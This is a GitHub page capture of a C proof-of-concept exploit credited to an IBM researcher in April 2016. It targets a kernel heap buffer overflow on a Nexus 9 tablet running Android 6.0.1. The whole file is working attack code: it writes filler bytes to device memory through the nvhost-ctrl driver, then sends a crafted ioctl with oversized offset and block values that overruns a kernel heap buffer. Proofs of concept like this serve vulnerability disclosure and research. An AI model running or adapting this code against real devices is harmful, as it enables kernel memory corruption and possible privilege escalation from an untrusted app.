Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
111 lines (89 sloc) 2.45 KB
/*
POC for untrusted_app to kernel heap buffer overflow on Nexus 9.
[google/volantisg/flounder_lte:6.0.1/MOB30D/2704746:user/release-keys]
Sagi Kedmi (@sagikedmi), IBM. April 7, 2016.
*/
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include <strings.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <fcntl.h>
typedef uint32_t __u32;
typedef uint64_t __u64;
struct nvhost_ctrl_module_regrdwr_args {
__u32 id;
__u32 num_offsets;
__u32 block_size;
__u32 write;
__u64 offsets;
__u64 values;
};
#define NVHOST_IOCTL_MAGIC 'H'
#define NVHOST_IOCTL_CTRL_MODULE_REGRDWR \
_IOWR(NVHOST_IOCTL_MAGIC, 12, struct nvhost_ctrl_module_regrdwr_args)
#define NVHOST_MODULE_GPU 9
#define UBUF_SIZE 65536
int write_zzz()
{
struct nvhost_ctrl_module_regrdwr_args write_args = { 0 };
char ubuf[UBUF_SIZE];
int fd;
__u64 llu = 0;
memset(ubuf, 'z', UBUF_SIZE);
write_args.id = 2;
write_args.write = 1;
write_args.values = ubuf;
write_args.offsets = &llu;
write_args.num_offsets = 1;
write_args.block_size = UBUF_SIZE;
fd = open("/dev/nvhost-ctrl", O_RDWR);
if (fd < 0){
perror("Write open /dev/nvhost-ctrl error:");
return 1;
}
if (ioctl(fd, NVHOST_IOCTL_CTRL_MODULE_REGRDWR, &write_args) == -1){
perror("Write IOCTL error:");
return 1;
}
return 0;
}
int kernel_heap_overflow()
{
struct nvhost_ctrl_module_regrdwr_args read_args = { 0 };
int fd;
__u64 llu = 52;
read_args.id=2;
read_args.write = 0;
read_args.values = mmap(NULL, 4096 * 10, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0);
read_args.offsets = &llu;
read_args.num_offsets =1685623;
read_args.block_size = 2548;
fd = open("/dev/nvhost-ctrl", O_RDWR);
if (fd < 0){
perror("Read open /dev/nvhost-ctrl error:");
return 1;
}
if (ioctl(fd, NVHOST_IOCTL_CTRL_MODULE_REGRDWR, &read_args) == -1){
perror("Read IOCTL error:");
return 1;
}
return 0;
}
int main()
{
// Writing 'z's (7a) to the device's iomem
write_zzz();
// Overrunning a kernel heap buffer with those 'z's.
// Using our crafted ioctl payload, the expected behaviour is for the ioctl
// to return EINVAL (Invalid argument).
kernel_heap_overflow();
return 0;
}
You can’t perform that action at this time.